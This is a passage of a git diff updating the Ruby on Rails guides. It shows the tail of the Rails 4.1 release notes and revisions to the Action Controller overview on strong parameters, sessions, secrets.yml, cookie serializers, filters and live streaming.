`protect_from_forgery` also prevents cross-origin `<script>` tags. + Update your tests to use `xhr :get, :foo, format: :js` instead of + `get :foo, format: :js`. + ([Pull Request](https://github.com/rails/rails/pull/13345)) + +* `#url_for` takes a hash with options inside an + array. ([Pull Request](https://github.com/rails/rails/pull/9599)) + +* Added `session#fetch` method fetch behaves similarly to + [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch), + with the exception that the returned value is always saved into the + session. ([Pull Request](https://github.com/rails/rails/pull/12692)) + +* Separated Action View completely from Action + Pack. ([Pull Request](https://github.com/rails/rails/pull/11032)) + +* Log which keys were affected by deep + munge. ([Pull Request](https://github.com/rails/rails/pull/13813)) + +* New config option `config.action_dispatch.perform_deep_munge` to opt out of + params "deep munging" that was used to address security vulnerability + CVE-2013-0155. ([Pull Request](https://github.com/rails/rails/pull/13188)) + +* New config option `config.action_dispatch.cookies_serializer` for specifying a + serializer for the signed and encrypted cookie jars. (Pull Requests + [1](https://github.com/rails/rails/pull/13692), + [2](https://github.com/rails/rails/pull/13945) / + [More Details](upgrading_ruby_on_rails.html#cookies-serializer)) + +* Added `render :plain`, `render :html` and `render + :body`. ([Pull Request](https://github.com/rails/rails/pull/14062) / + [More Details](upgrading_ruby_on_rails.html#rendering-content-from-string)) + + +Action Mailer +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md) +for detailed changes. + +### Notable changes + +* Added mailer previews feature based on 37 Signals mail_view + gem. ([Commit](https://github.com/rails/rails/commit/d6dec7fcb6b8fddf8c170182d4fe64ecfc7b2261)) + +* Instrument the generation of Action Mailer messages. The time it takes to + generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556)) + + +Active Record +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated nil-passing to the following `SchemaCache` methods: + `primary_keys`, `tables`, `columns` and `columns_hash`. + +* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`. + +* Removed deprecated String constructor from `ActiveRecord::Migrator`. + +* Removed deprecated `scope` use without passing a callable object. + +* Removed deprecated `transaction_joinable=` in favor of `begin_transaction` + with a `:joinable` option. + +* Removed deprecated `decrement_open_transactions`. + +* Removed deprecated `increment_open_transactions`. + +* Removed deprecated `PostgreSQLAdapter#outside_transaction?` + method. You can use `#transaction_open?` instead. + +* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of + `ActiveRecord::Fixtures.default_fixture_model_name`. + +* Removed deprecated `columns_for_remove` from `SchemaStatements`. + +* Removed deprecated `SchemaStatements#distinct`. + +* Moved deprecated `ActiveRecord::TestCase` into the Rails test + suite. The class is no longer public and is only used for internal + Rails tests. + +* Removed support for deprecated option `:restrict` for `:dependent` + in associations. + +* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql` + and `:counter_sql` options in associations. + +* Removed deprecated method `type_cast_code` from Column. + +* Removed deprecated `ActiveRecord::Base#connection` method. + Make sure to access it via the class. + +* Removed deprecation warning for `auto_explain_threshold_in_seconds`. + +* Removed deprecated `:distinct` option from `Relation#count`. + +* Removed deprecated methods `partial_updates`, `partial_updates?` and + `partial_updates=`. + +* Removed deprecated method `scoped`. + +* Removed deprecated method `default_scopes?`. + +* Remove implicit join references that were deprecated in 4.0. + +* Removed `activerecord-deprecated_finders` as a dependency. + Please see [the gem README](https://github.com/rails/activerecord-deprecated_finders#active-record-deprecated-finders) + for more info. + +* Removed usage of `implicit_readonly`. Please use `readonly` method + explicitly to mark records as + `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769)) + +### Deprecations + +* Deprecated `quoted_locking_column` method, which isn't used anywhere. + +* Deprecated `ConnectionAdapters::SchemaStatements#distinct`, + as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556)) + +* Deprecated `rake db:test:*` tasks as the test database is now + automatically maintained. See railties release notes. ([Pull + Request](https://github.com/rails/rails/pull/13528)) + +* Deprecate unused `ActiveRecord::Base.symbolized_base_class` + and `ActiveRecord::Base.symbolized_sti_name` without + replacement. [Commit](https://github.com/rails/rails/commit/97e7ca48c139ea5cce2fa9b4be631946252a1ebd) + +### Notable changes + +* Default scopes are no longer overridden by chained conditions. + + Before this change when you defined a `default_scope` in a model + it was overridden by chained conditions in the same field. Now it + is merged like any other scope. [More Details](upgrading_ruby_on_rails.html#changes-on-default-scopes). + +* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from + a model's attribute or + method. ([Pull Request](https://github.com/rails/rails/pull/12891)) + +* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on + models. ([Pull Request](https://github.com/rails/rails/pull/12772)) + +* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`. + `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425)) + +* `.unscope` now removes conditions specified in + `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade)) + +* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing, + named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2)) + +* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp + attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329)) + +* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values + map to integers in the database, but can be queried by + name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5)) + +* Type cast json values on write, so that the value is consistent with reading + from the database. ([Pull Request](https://github.com/rails/rails/pull/12643)) + +* Type cast hstore values on write, so that the value is consistent + with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d)) + +* Make `next_migration_number` accessible for third party + generators. ([Pull Request](https://github.com/rails/rails/pull/12407)) + +* Calling `update_attributes` will now throw an `ArgumentError` whenever it + gets a `nil` argument. More specifically, it will throw an error if the + argument that it gets passed does not respond to to + `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860)) + +* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed + query to fetch results rather than loading the entire + collection. ([Pull Request](https://github.com/rails/rails/pull/12137)) + +* `inspect` on Active Record model classes does not initiate a new + connection. This means that calling `inspect`, when the database is missing, + will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014)) + +* Removed column restrictions for `count`, let the database raise if the SQL is + invalid. ([Pull Request](https://github.com/rails/rails/pull/10710)) + +* Rails now automatically detects inverse associations. If you do not set the + `:inverse_of` option on the association, then Active Record will guess the + inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886)) + +* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, + ActiveRecord will now translate aliased attribute names to the actual column + name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839)) + +* The ERB in fixture files is no longer evaluated in the context of the main + object. Helper methods used by multiple fixtures should be defined on modules + included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022)) + +* Don't create or drop the test database if RAILS_ENV is specified + explicitly. ([Pull Request](https://github.com/rails/rails/pull/13629)) + +* `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert + to an `Array` by calling `#to_a` before using these methods. ([Pull Request](https://github.com/rails/rails/pull/13314)) + +* `find_in_batches`, `find_each`, `Result#each` and `Enumerable#index_by` now + return an `Enumerator` that can calculate its + size. ([Pull Request](https://github.com/rails/rails/pull/13938)) + +* `scope`, `enum` and Associations now raise on "dangerous" name + conflicts. ([Pull Request](https://github.com/rails/rails/pull/13450), + [Pull Request](https://github.com/rails/rails/pull/13896)) + +* `second` through `fifth` methods act like the `first` + finder. ([Pull Request](https://github.com/rails/rails/pull/13757)) + +* Make `touch` fire the `after_commit` and `after_rollback` + callbacks. ([Pull Request](https://github.com/rails/rails/pull/12031)) + +* Enable partial indexes for `sqlite >= 3.8.0`. + ([Pull Request](https://github.com/rails/rails/pull/13350)) + +* Make `change_column_null` + revertible. ([Commit](https://github.com/rails/rails/commit/724509a9d5322ff502aefa90dd282ba33a281a96)) + +* Added a flag to disable schema dump after migration. This is set to `false` + by default in the production environment for new applications. + ([Pull Request](https://github.com/rails/rails/pull/13948)) + +Active Model +------------ + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md) +for detailed changes. + +### Deprecations + +* Deprecate `Validator#setup`. This should be done manually now in the + validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a)) + +### Notable changes + +* Added new API methods `reset_changes` and `changes_applied` to + `ActiveModel::Dirty` that control changes state. + +* Ability to specify multiple contexts when defining a + validation. ([Pull Request](https://github.com/rails/rails/pull/13754)) + +* `attribute_changed?` now accepts a hash to check if the attribute was changed + `:from` and/or `:to` a given + value. ([Pull Request](https://github.com/rails/rails/pull/13131)) + + +Active Support +-------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md) +for detailed changes. + + +### Removals + +* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode` + no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed support for the `encode_json` hook used for encoding custom objects into + JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Related Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement. + +* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`). + +* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`. + +* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`. + +* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`). + +* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and + `Time#local_time` in favor of `Time#utc` and `Time#local`. + +* Removed deprecated `Hash#diff` with no replacement. + +* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`. + +* Removed deprecated `Proc#bind` with no replacement. + +* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native + `Array#uniq` and `Array#uniq!` instead. + +* Removed deprecated `ActiveSupport::BasicObject`, use + `ActiveSupport::ProxyObject` instead. + +* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead. + +* Removed deprecated `assert_present` and `assert_blank` methods, use `assert + object.blank?` and `assert object.present?` instead. + +* Remove deprecated `#filter` method for filter objects, use the corresponding + method instead (e.g. `#before` for a before filter). + +* Removed 'cow' => 'kine' irregular inflection from default + inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9)) + +### Deprecations + +* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to + explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago` + ([Pull Request](https://github.com/rails/rails/pull/12389)) + +* Deprecated the require path `active_support/core_ext/object/to_json`. Require + `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203)) + +* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature + has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/12785) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has + been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/13060) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Deprecate custom `BigDecimal` + serialization. ([Pull Request](https://github.com/rails/rails/pull/13911)) + +### Notable changes + +* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the + JSON gem rather than doing custom encoding in pure-Ruby. + ([Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Improved compatibility with the JSON gem. + ([Pull Request](https://github.com/rails/rails/pull/12862) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These + methods change current time to the given time or duration by stubbing + `Time.now` and `Date.today`. + +* Added `ActiveSupport::Testing::TimeHelpers#travel_back`. This method returns + the current time to the original state, by removing the stubs added by `travel` + and `travel_to`. ([Pull Request](https://github.com/rails/rails/pull/13884)) + +* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed + them to JavaScript functions like + `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643)) + +* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day` + methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and + `at_middle_of_day` as + aliases. ([Pull Request](https://github.com/rails/rails/pull/10879)) + +* Added `Date#all_week/month/quarter/year` for generating date + ranges. ([Pull Request](https://github.com/rails/rails/pull/9685)) + +* Added `Time.zone.yesterday` and + `Time.zone.tomorrow`. ([Pull Request](https://github.com/rails/rails/pull/12822)) + +* Added `String#remove(pattern)` as a short-hand for the common pattern of + `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f)) + +* Added `Hash#compact` and `Hash#compact!` for removing items with nil value + from hash. ([Pull Request](https://github.com/rails/rails/pull/13632)) + +* `blank?` and `present?` commit to return + singletons. ([Commit](https://github.com/rails/rails/commit/126dc47665c65cd129967cbd8a5926dddd0aa514)) + +* Default the new `I18n.enforce_available_locales` config to `true`, meaning + `I18n` will make sure that all locales passed to it must be declared in the + `available_locales` + list. ([Pull Request](https://github.com/rails/rails/pull/13341)) + +* Introduce `Module#concerning`: a natural, low-ceremony way to separate + responsibilities within a + class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81)) + +* Added `Object#presence_in` to simplify value whitelisting. + ([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396)) + + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. diff --git a/guides/source/_license.html.erb b/guides/source/_license.html.erb index 00b4466f50..d22f016948 100644 --- a/guides/source/_license.html.erb +++ b/guides/source/_license.html.erb @@ -1,2 +1,2 @@ -<p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p> +<p>This work is licensed under a <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 International</a> License</p> <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p> diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb index 9210c40c17..9101ed60d4 100644 --- a/guides/source/_welcome.html.erb +++ b/guides/source/_welcome.html.erb @@ -10,13 +10,10 @@ </p> <% else %> <p> - These are the new guides for Rails 4.0 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>. + These are the new guides for Rails 4.1 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>. These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. </p> <% end %> <p> - The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.13/">http://guides.rubyonrails.org/v3.2.13/</a>. -</p> -<p> - The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>. + The guides for earlier releases: <a href="http://guides.rubyonrails.org/v4.1.0/">Rails 4.1.0</a>, <a href="http://guides.rubyonrails.org/v4.0.4/">Rails 4.0.4</a>, <a href="http://guides.rubyonrails.org/v3.2.17/">Rails 3.2.17</a> and <a href="http://guides.rubyonrails.org/v2.3.11/">Rails 2.3.11</a>. </p> diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md index 6a91418e1f..1735188f27 100644 --- a/guides/source/action_controller_overview.md +++ b/guides/source/action_controller_overview.md @@ -34,7 +34,7 @@ The naming convention of controllers in Rails favors pluralization of the last w Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and keeps URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details. -NOTE: The controller naming convention differs from the naming convention of models, which expected to be named in singular form. +NOTE: The controller naming convention differs from the naming convention of models, which are expected to be named in singular form. Methods and Actions @@ -112,6 +112,10 @@ NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&id The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type. +NOTE: Values such as `[]`, `[nil]` or `[nil, nil, ...]` in `params` are replaced +with `nil` for security reasons by default. See [Security Guide](security.html#unsafe-query-generation) +for more information. + To send a hash you include the key name inside the brackets: ```html @@ -160,7 +164,7 @@ NOTE: Support for parsing XML parameters has been extracted into a gem named `ac The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL: ```ruby -match '/clients/:status' => 'clients#index', foo: 'bar' +get '/clients/:status' => 'clients#index', foo: 'bar' ``` In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index". @@ -209,7 +213,7 @@ class PeopleController < ActionController::Base # Request reply. def update person = current_account.people.find(params[:id]) - person.update_attributes!(person_params) + person.update!(person_params) redirect_to person end @@ -256,7 +260,7 @@ used: params.require(:log_entry).permit! ``` -This will mark the `:log_entry` parameters hash and any subhash of it +This will mark the `:log_entry` parameters hash and any sub-hash of it permitted. Extreme care should be taken when using `permit!` as it will allow all current and future model attributes to be mass-assigned. @@ -321,16 +325,16 @@ in mind. It is not meant as a silver bullet to handle all your whitelisting problems. However you can easily mix the API with your own code to adapt to your situation. -Imagine a scenario where you want to whitelist an attribute -containing a hash with any keys. Using strong parameters you can't -allow a hash with any keys but you can use a simple assignment to get -the job done: +Imagine a scenario where you have parameters representing a product +name and a hash of arbitrary data associated with that product, and +you want to whitelist the product name attribute but also the whole +data hash. The strong parameters API doesn't let you directly +whitelist the whole of a nested hash with any keys, but you can use +the keys of your nested hash to declare what to whitelist: ```ruby def product_params - params.require(:product).permit(:name).tap do |whitelisted| - whitelisted[:data] = params[:product][:data] - end + params.require(:product).permit(:name, data: params[:product][:data].try(:keys)) end ``` @@ -346,11 +350,11 @@ Your application has a session for each user in which you can store small amount All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure). -For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). +For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof. And it is also encrypted so anyone with access to it can't read its contents. (Rails will not accept it if it has been edited). -The CookieStore can store around 4kB of data — much less than the others — but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. +The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. -If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. +If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. Read more about session storage in the [Security Guide](security.html). @@ -360,33 +364,48 @@ If you need a different session storage mechanism, you can change it in the `con # Use the database for sessions instead of the cookie-based default, # which shouldn't be used to store highly confidential information # (create the session table with "rails g active_record:session_migration") -# YourApp::Application.config.session_store :active_record_store +# Rails.application.config.session_store :active_record_store ``` Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`: ```ruby # Be sure to restart your server when you modify this file. -YourApp::Application.config.session_store :cookie_store, key: '_your_app_session' +Rails.application.config.session_store :cookie_store, key: '_your_app_session' ``` You can also pass a `:domain` key and specify the domain name for the cookie: ```ruby # Be sure to restart your server when you modify this file. -YourApp::Application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com" +Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com" ``` -Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb` +Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/secrets.yml` ```ruby # Be sure to restart your server when you modify this file. -# Your secret key for verifying the integrity of signed cookies. +# Your secret key is used for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! + # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. -YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...' +# You can use `rake secret` to generate a secure secret key. + +# Make sure the secrets in this file are kept private +# if you're sharing your code publicly. + +development: + secret_key_base: a75d... + +test: + secret_key_base: 492f... + +# Do not keep production secrets in the repository, +# instead read values from the environment. +production: + secret_key_base: <%= ENV["SECRET_KEY_BASE"] %> ``` NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions. @@ -410,7 +429,7 @@ class ApplicationController < ActionController::Base # logging out removes it. def current_user @_current_user ||= session[:current_user_id] && - User.find_by_id(session[:current_user_id]) + User.find_by(id: session[:current_user_id]) end end ``` @@ -538,7 +557,7 @@ end Cookies ------- -Your application can store small amounts of data on the client — called cookies — that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which — much like the `session` — works like a hash: +Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash: ```ruby class CommentsController < ApplicationController @@ -568,6 +587,62 @@ end Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`. +Rails also provides a signed cookie jar and an encrypted cookie jar for storing +sensitive data. The signed cookie jar appends a cryptographic signature on the +cookie values to protect their integrity. The encrypted cookie jar encrypts the +values in addition to signing them, so that they cannot be read by the end user. +Refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) +for more details. + +These special cookie jars use a serializer to serialize the assigned values into +strings and deserializes them into Ruby objects on read. + +You can specify what serializer to use: + +```ruby +Rails.application.config.action_dispatch.cookies_serializer = :json +``` + +The default serializer for new applications is `:json`. For compatibility with +old applications with existing cookies, `:marshal` is used when `serializer` +option is not specified. + +You may also set this option to `:hybrid`, in which case Rails would transparently +deserialize existing (`Marshal`-serialized) cookies on read and re-write them in +the `JSON` format. This is useful for migrating existing applications to the +`:json` serializer. + +It is also possible to pass a custom serializer that responds to `load` and +`dump`: + +```ruby +Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer +``` + +When using the `:json` or `:hybrid` serializer, you should beware that not all +Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects +will be serialized as strings, and `Hash`es will have their keys stringified. + +```ruby +class CookiesController < ApplicationController + def set_cookie + cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014 + redirect_to action: 'read_cookie' + end + + def read_cookie + cookies.encrypted[:expiration_date] # => "2014-03-20" + end +end +``` + +It's advisable that you only store simple data (strings and numbers) in cookies. +If you have to store complex objects, you would need to handle the conversion +manually when reading the values on subsequent requests. + +If you use the cookie session store, this would apply to the `session` and +`flash` hash as well. + Rendering XML and JSON data --------------------------- @@ -665,14 +740,17 @@ The first is to use a block directly with the *_action methods. The block receiv ```ruby class ApplicationController < ActionController::Base before_action do |controller| - redirect_to new_login_url unless controller.send(:logged_in?) + unless controller.send(:logged_in?) + flash[:error] = "You must be logged in to access this section" + redirect_to new_login_url + end end end ``` Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful. -The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class: +The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class: ```ruby class ApplicationController < ActionController::Base @@ -680,16 +758,16 @@ class ApplicationController < ActionController::Base end class LoginFilter - def self.filter(controller) + def self.before(controller) unless controller.send(:logged_in?) - controller.flash[:error] = "You must be logged in" + controller.flash[:error] = "You must be logged in to access this section" controller.redirect_to controller.new_login_url end end end ``` -Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action. +Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the `before_action` filter the class must implement a `before` method, and so on. The `around` method must `yield` to execute the action. Request Forgery Protection -------------------------- @@ -794,7 +872,7 @@ class AdminsController < ApplicationController end ``` -With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. +With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. ### HTTP Digest Authentication @@ -808,11 +886,11 @@ class AdminsController < ApplicationController private - def authenticate - authenticate_or_request_with_http_digest do |username| - USERS[username] + def authenticate + authenticate_or_request_with_http_digest do |username| + USERS[username] + end end - end end ``` @@ -839,13 +917,13 @@ class ClientsController < ApplicationController private - def generate_pdf(client) - Prawn::Document.new do - text client.name, align: :center - text "Address: #{client.address}" - text "Email: #{client.email}" - end.render - end + def generate_pdf(client) + Prawn::Document.new do + text client.name, align: :center + text "Address: #{client.address}" + text "Email: #{client.email}" + end.render + end end ``` @@ -907,6 +985,92 @@ Now the user can request to get a PDF version of a client just by adding ".pdf" GET /clients/1.pdf ``` +### Live Streaming of Arbitrary Data + +Rails allows you to stream more than just files. In fact, you can stream anything +you would like in a response object. The `ActionController::Live` module allows +you to create a persistent connection with a browser. Using this module, you will +be able to send arbitrary data to the browser at specific points in time. + +#### Incorporating Live Streaming + +Including `ActionController::Live` inside of your controller class will provide +all actions inside of the controller the ability to stream data. You can mix in +the module like so: + +```ruby +class MyController < ActionController::Base + include ActionController::Live + + def stream + response.headers['Content-Type'] = 'text/event-stream' + 100.times { + response.stream.write "hello world\n" + sleep 1 + } + ensure + response.stream.close + end +end +``` + +The above code will keep a persistent connection with the browser and send 100 +messages of `"hello world\n"`, each one second apart. + +There are a couple of things to notice in the above example. We need to make +sure to close the response stream. Forgetting to close the stream will leave +the socket open forever. We also have to set the content type to `text/event-stream` +before we write to the response stream. This is because headers cannot be written +after the response has been committed (when `response.committed` returns a truthy +value), which occurs when you `write` or `commit` the response stream. + +#### Example Usage + +Let's suppose that you were making a Karaoke machine and a user wants to get the +lyrics for a particular song. Each `Song` has a particular number of lines and +each line takes time `num_beats` to finish singing. + +If we wanted to return the lyrics in Karaoke fashion (only sending the line when +the singer has finished the previous line), then we could use `ActionController::Live` +as follows: + +```ruby +class LyricsController < ActionController::Base + include ActionController::Live + + def show + response.headers['Content-Type'] = 'text/event-stream' + song = Song.find(params[:id]) + + song.each do |line| + response.stream.write line.lyrics + sleep line.num_beats + end + ensure + response.stream.close + end +end +``` + +The above code sends the next line only after the singer has completed the previous +line. + +#### Streaming Considerations + +Streaming arbitrary data is an extremely powerful tool. As shown in the previous +examples, you can choose when and what to send across a response stream. However, +you should also note the following things: + +* Each response stream creates a new thread and copies over the thread local + variables from the original thread. Having too many thread local variables can + negatively impact performance. Similarly, a large number of threads can also + hinder performance. +* Failing to close the response stream will leave the corresponding socket open + forever. Make sure to call `close` whenever you are using a response stream. +* WEBrick servers buffer all responses, and so including `ActionController::Live` + will not work. You must use a web server which does not automatically buffer + responses. + Log Filtering ------------- @@ -962,9 +1126,9 @@ class ApplicationController < ActionController::Base private - def record_not_found - render text: "404 Not 